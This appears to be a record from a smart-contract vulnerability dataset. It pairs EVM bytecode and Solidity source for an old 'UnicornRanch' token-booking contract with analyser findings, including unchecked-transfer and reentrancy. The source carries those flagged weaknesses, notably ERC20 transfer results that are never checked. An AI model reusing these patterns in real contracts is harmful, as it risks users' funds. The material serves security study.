06602052604081206004015460ff166002811115610a7957fe5b14610a8357600080fd5b600580546040805180820182529283527f61646d696e0000000000000000000000000000000000000000000000000000006020840190815281517f217fe6c6000000000000000000000000000000000000000000000000000000008152336004820181815260248301948552865160448401528651600160a060020a039096169663217fe6c69692959094919390926064909101919080838360005b83811015610b37578181015183820152602001610b1f565b50505050905090810190601f168015610b645780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b158015610b8457600080fd5b505af1158015610b98573d6000803e3d6000fd5b505050506040513d6020811015610bae57600080fd5b50511515610bbb57600080fd5b6000868152600660205260409020600590810154610bf191606491610be59163ffffffff6118f416565b9063ffffffff61191d16565b905080831115610c0057600080fd5b600086815260066020526040902060030154610c1e90868686611932565b1515610c2957600080fd5b600086815260066020908152604091829020600401805460ff1916600217905560075482518881529182018690528251600160a060020a03888116948b9491909316927f9718f646cc6091a3c9858b508924d4fb6e582b56f9de81537654a535d65cf63292918290030190a450600195945050505050565b6000600160f860020a031960f860020a83831a02161515610cc157600080fd5b60008281526006602052604081206004015460ff166002811115610ce157fe5b14610ceb57600080fd5b600082815260066020526040902060020154600160a060020a03163314610d1157600080fd5b600082815260066020526040902060030154610d2c90611ccf565b1515610d3757600080fd5b600082815260066020526040808220600401805460ff1916600217905560075490518492600160a060020a03909216917f9deeb35dcae810f88ff11beec766eaa1b2e9f1ef7bcefbb8f2a3f91fdf98c42691a3506001919050565b60008060008060008060008088118015610dbb5750600088815260046020526040812060050154115b1515610dc657600080fd5b6000888152600460208190526040909120600181015460028083015460038401549390940154600160a060020a0392831694909216929160ff1690811115610e0a57fe5b60009b8c5260046020526040909b2060058101546006820154600890920154949d939c929b509199509097509550909350915050565b60408051808201909152600581527f6f776e6572000000000000000000000000000000000000000000000000000000602082015281565b6000600160f860020a031960f860020a83831a02161515610e9757600080fd5b60008281526006602052604081206004015460ff166002811115610eb757fe5b14610ec157600080fd5b600082815260066020526040902060010154600160a060020a03163314610ee757600080fd5b600082815260066020526040902060030154610f0290611e43565b1515610f0d57600080fd5b600082815260066020526040808220600401805460ff1916600117905560075490518492600160a060020a03909216917f5fa8e6f4fbdedc8f67f68ed5dd5a194353476578eb9231d8925543e55fec008a91a3506001919050565b60008080808080600160f860020a031960f860020a88831a02161515610f8d57600080fd5b600087815260066020526040812054901a60f860020a02600160f860020a0319161515610fb957600080fd5b600087815260066020526040902060030154610fd490611863565b949c939b5091995097509550909350915050565b600080836040518082805190602001908083835b6020831061101b5780518252601f199092019160209182019101610ffc565b51815160209384036101000a6000190180199092169116179052920194855250604051938490038101842086519094879450925082918401908083835b602083106110775780518252601f199092019160209182019101611058565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092205460ff16925050505b92915050565b6040805190810160405280600781526020017f43616e576f726b000000000000000000000000000000000000000000000000008152506040805190810160405280600581526020017f302e312e320000000000000000000000000000000000000000000000000000008152506111278282610fe8565b1561113157600080fd5b600160a060020a038516158015906111515750600160a060020a03841615155b80156111655750600160a060020a03831615155b151561117057600080fd5b61117b858585611fb6565b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387161790556040805181815283519181019190915282517fdd117a11c22118c9dee4b5a67ce578bc44529dce21ee0ccc439588fbb9fb4ea39184918491908190602080830191606084019187019080838360005b8381101561120a5781810151838201526020016111f2565b50505050905090810190601f1680156112375780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b8381101561126a578181015183820152602001611252565b50505050905090810190601f1680156112975780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a160016000836040518082805190602001908083835b602083106112da5780518252601f1990920191602091820191016112bb565b51815160209384036101000a6000190180199092169116179052920194855250604051938490038101842086519094879450925082918401908083835b602083106113365780518252601f199092019160209182019101611317565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220805460ff19169315159390931790925550505050505050565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03861690910260348301527f656d657267656e63795472616e73666572000000000000000000000000000000604883015282516039818403018152605990920192839052815160009384938493909282918401908083835b602083106114165780518252601f1990920191602091820191016113f7565b5181516020939093036101000a6000190180199091169216919091179052604080519190930181900381206005547f4fa6caf600000000000000000000000000000000000000000000000000000000835260048301829052602483018b90528451919750600160a060020a03169550634fa6caf69450604480830194935090918290030181600087803b1580156114ac57600080fd5b505af11580156114c0573d6000803e3d6000fd5b505050506040513d60408110156114d657600080fd5b50805160209091015190969095509350505050565b60408051808201909152600581527f61646d696e000000000000000000000000000000000000000000000000000000602082015281565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03851690910260348301527f656d657267656e63795472616e736665720000000000000000000000000000006048830152825160398184030181526059909201928390528151600093849392909182918401908083835b602083106115bd5780518252601f19909201916020918201910161159e565b51815160209384036101000a6000190180199092169116179052604080519290940182900382206005547f46aaf139000000000000000000000000000000000000000000000000000000008452600484018290529451909750600160a060020a0390941695506346aaf139945060248083019491935090918290030181600087803b15801561164b57600080fd5b505af115801561165f573d6000803e3d6000fd5b505050506040513d602081101561167557600080fd5b505160ff169392505050565b600080600160f860020a031960f860020a87831a021615156116a257600080fd5b600086815260066020526040812054901a60f860020a02600160f860020a031916156116cd57600080fd5b6005546116fd90606490610be590869074010000000000000000000000000000000000000000900460ff166118f4565b6000878152600660205260409020878155600181018054600160a060020a0389811673ffffffffffffffffffffffffffffffffffffffff19928316179092556002830180549289169290911691909117905560048101805460ff19169055600501849055905061176f8585858461214f565b600087815260066020908152604091829020600301929092556007548151600160a060020a0389811682529381018790528251848916948b949316927f06ec2805bab16df077e1bf66c474762caec30f56f6c01e4e673aa60b8dca979e928290030190a450600195945050505050565b6000808080808080600160f860020a031960f860020a89831a0216151561180557600080fd5b600088815260066020526040812054901a60f860020a02600160f860020a031916151561183157600080fd5b60008881526006602052604090206003015461184c90610d92565b959e949d50929b5090995097509550909350915050565b60008060008060008060008711801561188b5750600087815260046020526040812060050154115b151561189657600080fd5b6000878152600460208190526040909120015460ff1660028111156118b757fe5b6000978852600460205260409097206003810154600782015460088301546009840154600a909401549a9b929a9199509750919550909350915050565b6000821515611905575060006110ab565b5081810281838281151561191557fe5b04146110ab57fe5b6000818381151561192a57fe5b049392505050565b600080806000878152600460208190526040909120015460ff16600281111561195757fe5b1461196157600080fd5b60008510158015611973575060008310155b151561197e57600080fd5b6000868152600460205260409020600701546119b29086906119a6908663ffffffff6123cb16565b9063ffffffff6123cb16565b60008781526004602052604090206003015410156119cf57600080fd5b60008681526004602081905260408220908101805460ff1916600217905543600690910155831115611ab457600160a060020a0384161515611a1057600080fd5b6000868152600460208181526040808420600a01879055600154815160e060020a63a9059cbb028152600160a060020a038a81169582019590955260248101899052915193169363a9059cbb93604480840194939192918390030190829087803b158015611a7d57600080fd5b505af1158015611a91573d6000803e3d6000fd5b505050506040513d6020811015611aa757600080fd5b50511515611ab457600080fd5b6000851115611b67576000868152600460208181526040808420600881018a9055600154600290910154825160e060020a63a9059cbb028152600160a060020a0391821695810195909552602485018b9052915191169363a9059cbb936044808201949392918390030190829087803b158015611b3057600080fd5b505af1158015611b44573d6000803e3d6000fd5b505050506040513d6020811015611b5a57600080fd5b50511515611b6757600080fd5b600086815260046020526040902060070154611b8f9086906119a6908663ffffffff6123cb16565b600087815260046020526040902060030154909150611bb4908263ffffffff6123d816565b60008781526004602052604081206009018290551015611c745760018054600088815260046020818152604080842095860154600990960154815160e060020a63a9059cbb028152600160a060020a0397881694810194909452602484015251949093169363a9059cbb9360448084019491938390030190829087803b158015611c3d57600080fd5b505af1158015611c51573d6000803e3d6000fd5b505050506040513d6020811015611c6757600080fd5b50511515611c7457600080fd5b60035460408051878152602081018690528151600160a060020a03808916948b949116927f23157ee5a4e89bcebb1fc3e9b6e1533aefe88f9bde92308b49a71e800103542b929081900390910190a450600195945050505050565b600081815260046020819052604082200154819060ff166002811115611cf157fe5b14611cfb57600080fd5b600082815260046020526040902060020154600160a060020a03163314611d2157600080fd5b60008281526004602052604090206007810154600390910154611d499163ffffffff6123d816565b600083815260046020818152604080842060098101869055808401805460ff1916600217905543600682015560018054910154825160e060020a63a9059cbb028152600160a060020a03918216958101959095526024850196909652905194169363a9059cbb936044808501948390030190829087803b158015611dcc57600080fd5b505af1158015611de0573d6000803e3d6000fd5b505050506040513d6020811015611df657600080fd5b50511515611e0357600080fd5b6003546040518391600160a060020a0316907f42a9d051cfad92ff80e72d1f2fe48fd37941d2e3d8a231b4a2a6993474dd672690600090a3506001919050565b600081815260046020819052604082200154819060ff166002811115611e6557fe5b14611e6f57600080fd5b600082815260046020526040902060010154600160a060020a03163314611e9557600080fd5b6000828152600460208190526040909120908101805460ff191660011790556007810154600390910154611ec8916123d8565b600083815260046020818152604080842060088101869055436006820155600154600290910154825160e060020a63a9059cbb028152600160a060020a03918216958101959095526024850196909652905194169363a9059cbb936044808501948390030190829087803b158015611f3f57600080fd5b505af1158015611f53573d6000803e3d6000fd5b505050506040513d6020811015611f6957600080fd5b50511515611f7657600080fd5b6003546040518391600160a060020a0316907f4bebfffc0dc0fb54ffd42c8fe2424e8fe0c482f089c4d0d6e6f1ea5d9e34248a90600090a3506001919050565b6040805190810160405280600a81526020017f43616e576f726b4a6f62000000000000000000000000000000000000000000008152506040805190810160405280600581526020017f302e312e3300000000000000000000000000000000000000000000000000000081525061202c8282610fe8565b1561203657600080fd5b600160a060020a038516158015906120565750600160a060020a03841615155b801561206a5750600160a060020a03831615155b151561207557600080fd5b61207f85846123ea565b6005805460078054600160a060020a0387811673ffffffffffffffffffffffffffffffffffffffff199283161790925574ff00000000000000000000000000000000000000001991881692169190911716740100000000000000000000000000000000000000001790556040805181815283519181019190915282517fdd117a11c22118c9dee4b5a67ce578bc44529dce21ee0ccc439588fbb9fb4ea39184918491908190602080830191606084019187019080838360008381101561120a5781810151838201526020016111f2565b60008080600160a060020a038716158015906121735750600160a060020a03861615155b801561217f5750600085115b801561218c575060008410155b151561219757600080fd5b600154604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a038a8116600483015230602483015260448201899052915191909216916323b872dd9160648083019260209291908290030181600087803b15801561220c57600080fd5b505af1158015612220573d6000803e3d6000fd5b505050506040513d602081101561223657600080fd5b5051151561224357600080fd5b5050600280546001908101808355600081815260046020819052604082208381559384018054600160a060020a038c811673ffffffffffffffffffffffffffffffffffffffff19928316179092559585018054918b16919096161790945560038301879055436005840155928201805460ff191690556008820183905560098201839055600a82018390559184111561237057600781018490556001546003546040805160e060020a63a9059cbb028152600160a060020a039283166004820152602481018890529051919092169163a9059cbb9160448083019260209291908290030181600087803b15801561233957600080fd5b505af115801561234d573d6000803e3d6000fd5b505050506040513d602081101561236357600080fd5b5051151561237057600080fd5b60035460408051878152602081018790528151600160a060020a03808b16948c8216949116927f2deff110fb90284ba1ebd12f5a2a449109b5327e5144dcf39bae0fa2fcfa7afb929081900390910190a45095945050505050565b818101828110156110ab57fe5b6000828211156123e457fe5b50900390565b6040805190810160405280600681526020017f457363726f7700000000000000000000000000000000000000000000000000008152506040805190810160405280600581526020017f302e312e330000000000000000000000000000000000000000000000000000008152506124608282610fe8565b1561246a57600080fd5b600160a060020a0384161580159061248a5750600160a060020a03831615155b151561249557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03878116918217909355600380549092169286169283179091556040517f0a3c5299ff3c9081aca91f75b9d88d7e14be19d31ca64abbf9ad33bbe98fb32690600090a37fdd117a11c22118c9dee4b5a67ce578bc44529dce21ee0ccc439588fbb9fb4ea38282604051808060200180602001838103835285818151815260200191508051906020019080838360005b83811015612560578181015183820152602001612548565b50505050905090810190601f16801561258d5780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b838110156125c05781810151838201526020016125a8565b50505050905090810190601f1680156125ed5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a160016000836040518082805190602001908083835b602083106126305780518252601f199092019160209182019101612611565b51815160209384036101000a6000190180199092169116179052920194855250604051938490038101842086519094879450925082918401908083835b6020831061268c5780518252601f19909201916020918201910161266d565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220805460ff1916931515939093179092555050505050505600a165627a7a723058200c321c548660c5e99cb2538cdd0d935d7f8241d8b3ab7fced69251e6c93f93370029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,340 |
0x76273a63d7c102a61104149f3cc567ec2b4e4257
|
pragma solidity ^0.4.11;
contract ERC20Token {
function balanceOf(address _who) constant returns (uint balance);
function allowance(address _owner, address _spender) constant returns (uint remaining);
function transferFrom(address _from, address _to, uint _value);
function transfer(address _to, uint _value);
}
contract GroveAPI {
function insert(bytes32 indexName, bytes32 id, int value) public;
}
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract UnicornRanch {
using SafeMath for uint;
enum VisitType { Spa, Afternoon, Day, Overnight, Week, Extended }
enum VisitState { InProgress, Completed, Repossessed }
struct Visit {
uint unicornCount;
VisitType t;
uint startBlock;
uint expiresBlock;
VisitState state;
}
struct VisitMeta {
address owner;
uint index;
}
address public cardboardUnicornTokenAddress;
address public groveAddress;
address public owner = msg.sender;
mapping (address => Visit[]) bookings;
mapping (bytes32 => VisitMeta) public bookingMetadataForKey;
mapping (uint8 => uint) public visitLength;
mapping (uint8 => uint) public visitCost;
uint public visitingUnicorns = 0;
uint public repossessionBlocks = 120960;
uint8 public repossessionBountyPerTen = 2;
uint8 public repossessionBountyPerHundred = 25;
uint public birthBlockThreshold = 60480;
uint8 public birthPerTen = 1;
uint8 public birthPerHundred = 15;
event NewBooking(address indexed _who, uint indexed _index, VisitType indexed _type, uint _unicornCount);
event BookingUpdate(address indexed _who, uint indexed _index, VisitState indexed _newState, uint _unicornCount);
event RepossessionBounty(address indexed _who, uint _unicornCount);
event DonationReceived(address indexed _who, uint _unicornCount);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function UnicornRanch() {
visitLength[uint8(VisitType.Spa)] = 720;
visitLength[uint8(VisitType.Afternoon)] = 1440;
visitLength[uint8(VisitType.Day)] = 2880;
visitLength[uint8(VisitType.Overnight)] = 8640;
visitLength[uint8(VisitType.Week)] = 60480;
visitLength[uint8(VisitType.Extended)] = 120960;
visitCost[uint8(VisitType.Spa)] = 0;
visitCost[uint8(VisitType.Afternoon)] = 0;
visitCost[uint8(VisitType.Day)] = 1 szabo;
visitCost[uint8(VisitType.Overnight)] = 1 szabo;
visitCost[uint8(VisitType.Week)] = 1 szabo;
visitCost[uint8(VisitType.Extended)] = 1 szabo;
}
function getBookingCount(address _who) constant returns (uint count) {
return bookings[_who].length;
}
function getBooking(address _who, uint _index) constant returns (uint _unicornCount, VisitType _type, uint _startBlock, uint _expiresBlock, VisitState _state) {
Visit storage v = bookings[_who][_index];
return (v.unicornCount, v.t, v.startBlock, v.expiresBlock, v.state);
}
function bookSpaVisit(uint _unicornCount) payable {
return addBooking(VisitType.Spa, _unicornCount);
}
function bookAfternoonVisit(uint _unicornCount) payable {
return addBooking(VisitType.Afternoon, _unicornCount);
}
function bookDayVisit(uint _unicornCount) payable {
return addBooking(VisitType.Day, _unicornCount);
}
function bookOvernightVisit(uint _unicornCount) payable {
return addBooking(VisitType.Overnight, _unicornCount);
}
function bookWeekVisit(uint _unicornCount) payable {
return addBooking(VisitType.Week, _unicornCount);
}
function bookExtendedVisit(uint _unicornCount) payable {
return addBooking(VisitType.Extended, _unicornCount);
}
function addBooking(VisitType _type, uint _unicornCount) payable {
if (_type == VisitType.Afternoon) {
return donateUnicorns(availableBalance(msg.sender));
}
require(msg.value >= visitCost[uint8(_type)].mul(_unicornCount)); // Must be paying proper amount
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount); // Transfer the actual asset
visitingUnicorns = visitingUnicorns.add(_unicornCount);
uint expiresBlock = block.number.add(visitLength[uint8(_type)]); // Calculate when this booking will be done
// Add the booking to the ledger
bookings[msg.sender].push(Visit(
_unicornCount,
_type,
block.number,
expiresBlock,
VisitState.InProgress
));
uint newIndex = bookings[msg.sender].length - 1;
bytes32 uniqueKey = keccak256(msg.sender, newIndex); // Create a unique key for this booking
// Add a reference for that key, to find the metadata about it later
bookingMetadataForKey[uniqueKey] = VisitMeta(
msg.sender,
newIndex
);
if (groveAddress > 0) {
// Insert into Grove index for applications to query
GroveAPI g = GroveAPI(groveAddress);
g.insert("bookingExpiration", uniqueKey, int(expiresBlock));
}
// Send event about this new booking
NewBooking(msg.sender, newIndex, _type, _unicornCount);
}
function completeBooking(uint _index) {
require(bookings[msg.sender].length > _index); // Sender must have at least this many bookings
Visit storage v = bookings[msg.sender][_index];
require(block.number >= v.expiresBlock); // Expired time must be past
require(v.state == VisitState.InProgress); // Visit must not be complete or repossessed
uint unicornsToReturn = v.unicornCount;
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
// Determine if any births occurred
uint birthCount = 0;
if (SafeMath.sub(block.number, v.startBlock) >= birthBlockThreshold) {
if (v.unicornCount >= 100) {
birthCount = uint(birthPerHundred).mul(v.unicornCount / 100);
} else if (v.unicornCount >= 10) {
birthCount = uint(birthPerTen).mul(v.unicornCount / 10);
}
}
if (birthCount > 0) {
uint availableUnicorns = cardboardUnicorns.balanceOf(address(this)) - visitingUnicorns;
if (availableUnicorns < birthCount) {
birthCount = availableUnicorns;
}
unicornsToReturn = unicornsToReturn.add(birthCount);
}
// Update the status of the Visit
v.state = VisitState.Completed;
bookings[msg.sender][_index] = v;
// Transfer the asset back to the owner
visitingUnicorns = visitingUnicorns.sub(unicornsToReturn);
cardboardUnicorns.transfer(msg.sender, unicornsToReturn);
// Send event about this update
BookingUpdate(msg.sender, _index, VisitState.Completed, unicornsToReturn);
}
function repossessBooking(address _who, uint _index) {
require(bookings[_who].length > _index); // Address in question must have at least this many bookings
Visit storage v = bookings[_who][_index];
require(block.number > v.expiresBlock.add(repossessionBlocks)); // Repossession time must be past
require(v.state == VisitState.InProgress); // Visit must not be complete or repossessed
// Update the status of the Visit
v.state = VisitState.Repossessed;
bookings[_who][_index] = v;
visitingUnicorns = visitingUnicorns.sub(v.unicornCount);
// Send event about this update
BookingUpdate(_who, _index, VisitState.Repossessed, v.unicornCount);
// Calculate Bounty amount
uint bountyCount = 1;
if (v.unicornCount >= 100) {
bountyCount = uint(repossessionBountyPerHundred).mul(v.unicornCount / 100);
} else if (v.unicornCount >= 10) {
bountyCount = uint(repossessionBountyPerTen).mul(v.unicornCount / 10);
}
// Send bounty to bounty hunter
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
cardboardUnicorns.transfer(msg.sender, bountyCount);
// Send event about the bounty payout
RepossessionBounty(msg.sender, bountyCount);
}
function availableBalance(address _who) internal returns (uint) {
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
uint count = cardboardUnicorns.allowance(_who, address(this));
if (count == 0) {
return 0;
}
uint balance = cardboardUnicorns.balanceOf(_who);
if (balance < count) {
return balance;
}
return count;
}
function() payable {
if (cardboardUnicornTokenAddress == 0) {
return;
}
return donateUnicorns(availableBalance(msg.sender));
}
function donateUnicorns(uint _unicornCount) payable {
if (_unicornCount == 0) {
return;
}
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount);
DonationReceived(msg.sender, _unicornCount);
}
/**
* Change ownership of the Ranch
*/
function changeOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
/**
* Change the outside contracts used by this contract
*/
function changeCardboardUnicornTokenAddress(address _newTokenAddress) onlyOwner {
cardboardUnicornTokenAddress = _newTokenAddress;
}
function changeGroveAddress(address _newAddress) onlyOwner {
groveAddress = _newAddress;
}
/**
* Update block durations for various types of visits
*/
function changeVisitLengths(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner {
visitLength[uint8(VisitType.Spa)] = _spa;
visitLength[uint8(VisitType.Afternoon)] = _afternoon;
visitLength[uint8(VisitType.Day)] = _day;
visitLength[uint8(VisitType.Overnight)] = _overnight;
visitLength[uint8(VisitType.Week)] = _week;
visitLength[uint8(VisitType.Extended)] = _extended;
}
/**
* Update ether costs for various types of visits
*/
function changeVisitCosts(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner {
visitCost[uint8(VisitType.Spa)] = _spa;
visitCost[uint8(VisitType.Afternoon)] = _afternoon;
visitCost[uint8(VisitType.Day)] = _day;
visitCost[uint8(VisitType.Overnight)] = _overnight;
visitCost[uint8(VisitType.Week)] = _week;
visitCost[uint8(VisitType.Extended)] = _extended;
}
/**
* Update bounty reward settings
*/
function changeRepoSettings(uint _repoBlocks, uint8 _repoPerTen, uint8 _repoPerHundred) onlyOwner {
repossessionBlocks = _repoBlocks;
repossessionBountyPerTen = _repoPerTen;
repossessionBountyPerHundred = _repoPerHundred;
}
/**
* Update birth event settings
*/
function changeBirthSettings(uint _birthBlocks, uint8 _birthPerTen, uint8 _birthPerHundred) onlyOwner {
birthBlockThreshold = _birthBlocks;
birthPerTen = _birthPerTen;
birthPerHundred = _birthPerHundred;
}
function withdraw() onlyOwner {
owner.transfer(this.balance); // Send all ether in this contract to this contract's owner
}
function withdrawForeignTokens(address _tokenContract) onlyOwner {
ERC20Token token = ERC20Token(_tokenContract);
token.transfer(owner, token.balanceOf(address(this))); // Send all owned tokens to this contract's owner
}
}
|
0x606060405236156101905763ffffffff60e060020a60003504166307e0421f81146101c15780630a4c374a146101e65780630b0edad31461020f5780630be80fa91461027f5780631453bfb3146102a65780631a2b3431146102cb57806324ffca71146102e357806339eb54d21461030e5780633ca199521461031b5780633ccfd60b1461034c5780633e8c34e514610361578063435afa54146103905780634c9f45eb146103b45780634db1ba5a146103dd5780635d956b3e14610406578063671d331514610427578063701513c01461043457806373df6b191461044757806389c73565146104725780638da5cb5b146104975780639379077f146104c6578063940900b8146104d3578063a6f9dae1146104e0578063b9b9499714610501578063c9c666aa14610525578063d165178614610546578063da658f2214610553578063dba319111461057c578063dde0523f14610589578063e58fc54c146105b0578063e5a23e7e146105d1578063e6506873146105f5578063e760fb061461062d578063ed15863a1461065c575b6101bf5b600054600160a060020a031615156101ab576101bc565b6101bc6101b733610669565b610788565b5b565b005b34156101cc57600080fd5b6101d4610851565b60405190815260200160405180910390f35b34156101f157600080fd5b6101f9610857565b60405160ff909116815260200160405180910390f35b341561021a57600080fd5b610231600160a060020a0360043516602435610860565b6040518086815260200185600581111561024757fe5b60ff16815260200184815260200183815260200182600281111561026757fe5b60ff1681526020019550505050505060405180910390f35b341561028a57600080fd5b6101bf60043560243560443560643560843560a4356108d7565b005b34156102b157600080fd5b6101d46109bb565b60405190815260200160405180910390f35b34156102d657600080fd5b6101bf6004356109c1565b005b34156102ee57600080fd5b6101d460ff60043516610d10565b60405190815260200160405180910390f35b6101bf600435610d22565b005b341561032657600080fd5b6101d4600160a060020a0360043516610d31565b60405190815260200160405180910390f35b341561035757600080fd5b6101bf610d50565b005b341561036c57600080fd5b610374610da8565b604051600160a060020a03909116815260200160405180910390f35b341561039b57600080fd5b6101bf60043560ff60243581169060443516610db7565b005b34156103bf57600080fd5b6101f9610e00565b60405160ff909116815260200160405180910390f35b34156103e857600080fd5b6101f9610e0e565b60405160ff909116815260200160405180910390f35b341561041157600080fd5b6101bf600160a060020a0360043516610e17565b005b6101bf600435610e5f565b005b6101bf60ff60043516602435610e6e565b005b341561045257600080fd5b6101d460ff60043516611225565b60405190815260200160405180910390f35b341561047d57600080fd5b6101d4611237565b60405190815260200160405180910390f35b34156104a257600080fd5b61037461123d565b604051600160a060020a03909116815260200160405180910390f35b6101bf60043561124c565b005b6101bf60043561125b565b005b34156104eb57600080fd5b6101bf600160a060020a036004351661126a565b005b341561050c57600080fd5b6101bf600160a060020a03600435166024356112b2565b005b341561053057600080fd5b6101bf600160a060020a0360043516611581565b005b6101bf600435610788565b005b341561055e57600080fd5b6101f96115c9565b60405160ff909116815260200160405180910390f35b6101bf6004356115d7565b005b341561059457600080fd5b6101bf60043560243560443560643560843560a4356115e6565b005b34156105bb57600080fd5b6101bf600160a060020a03600435166116cf565b005b34156105dc57600080fd5b6101bf60043560ff602435811690604435166117cc565b005b341561060057600080fd5b61060b600435611815565b604051600160a060020a03909216825260208201526040908101905180910390f35b341561063857600080fd5b61037461183a565b604051600160a060020a03909116815260200160405180910390f35b6101bf600435611849565b005b60008054600160a060020a031681808263dd62ed3e8630846040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156106cd57600080fd5b6102c65a03f115156106de57600080fd5b50505060405180519250508115156106f95760009350610780565b82600160a060020a03166370a082318660006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561075057600080fd5b6102c65a03f1151561076157600080fd5b50505060405180519150508181101561077c57809350610780565b8193505b505050919050565b60008115156107965761084d565b50600054600160a060020a0316806323b872dd33308560405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b15156107fb57600080fd5b6102c65a03f1151561080c57600080fd5b50505033600160a060020a03167f264f630d9efa0d07053a31163641d9fcc0adafc9d9e76f1c37c2ce3a558d2c528360405190815260200160405180910390a25b5050565b60085481565b600b5460ff1681565b600160a060020a0382166000908152600360205260408120805482918291829182918291908890811061088f57fe5b906000526020600020906005020160005b5080546001820154600283015460038401546004850154939a5060ff9283169950909750955016925090505b509295509295909350565b60025433600160a060020a039081169116146108f257600080fd5b8560056000805b60ff1681526020810191909152604001600090812091909155859060059060015b60ff1681526020810191909152604001600090812091909155849060059060025b60ff1681526020810191909152604001600090812091909155839060059060035b60ff1681526020810191909152604001600090812091909155829060059060045b60ff16815260208101919091526040016000908120919091558190600590815b60ff1681526020810191909152604001600020555b5b505050505050565b60075481565b600160a060020a03331660009081526003602052604081205481908190819081908690116109ee57600080fd5b600160a060020a0333166000908152600360205260409020805487908110610a1257fe5b906000526020600020906005020160005b506003810154909550431015610a3857600080fd5b60005b600486015460ff166002811115610a4e57fe5b14610a5857600080fd5b845460008054600a546002890154939750600160a060020a03909116955090935090610a85904390611858565b10610ae357845460649010610ab8578454610ab1906064905b600b54610100900460ff1691900461186f565b9150610ae3565b8454600a9010610ae3578454610ae090600a905b600b5460ff1691900463ffffffff61186f16565b91505b5b5b6000821115610b855760075483600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610b4857600080fd5b6102c65a03f11515610b5957600080fd5b5050506040518051905003905081811015610b72578091505b610b82848363ffffffff61189e16565b93505b6004850180546001919060ff191682805b0217905550600160a060020a0333166000908152600360205260409020805486919088908110610bc257fe5b906000526020600020906005020160005b5081548155600180830154818301805460ff90921692909160ff191690836005811115610bfc57fe5b02179055506002828101548282015560038084015490830155600480840154908301805460ff90921692909160ff1916906001908490811115610c3b57fe5b021790555050600754610c5591508563ffffffff61185816565b600755600160a060020a03831663a9059cbb338660405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610cac57600080fd5b6102c65a03f11515610cbd57600080fd5b5060019150610cc99050565b8633600160a060020a03167f3b19c86806543f3eff13d440630e1c2e2929cedd2abc91deef4811b1ffa000398760405190815260200160405180910390a45b505050505050565b60066020526000908152604090205481565b610d2d600582610e6e565b5b50565b600160a060020a0381166000908152600360205260409020545b919050565b60025433600160a060020a03908116911614610d6b57600080fd5b600254600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156101bc57600080fd5b5b5b565b600054600160a060020a031681565b60025433600160a060020a03908116911614610dd257600080fd5b60088390556009805460ff8381166101000261ff001991861660ff1990931692909217161790555b5b505050565b600954610100900460ff1681565b60095460ff1681565b60025433600160a060020a03908116911614610e3257600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b610d2d600182610e6e565b5b50565b60008080808060015b876005811115610e8357fe5b1415610e9f57610e9a6101b733610669565b610788565b61121c565b610ed386600660008a6005811115610eb357fe5b60ff1681526020810191909152604001600020549063ffffffff61186f16565b341015610edf57600080fd5b600054600160a060020a03169450846323b872dd33308960405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b1515610f4557600080fd5b6102c65a03f11515610f5657600080fd5b5050600754610f6c91508763ffffffff61189e16565b600755610fa2600560008982811115610f8157fe5b60ff168152602081019190915260400160002054439063ffffffff61189e16565b600160a060020a033316600090815260036020526040902080549195509060018101610fce83826118b8565b916000526020600020906005020160005b60a0604051908101604052808a81526020018b6005811115610ffd5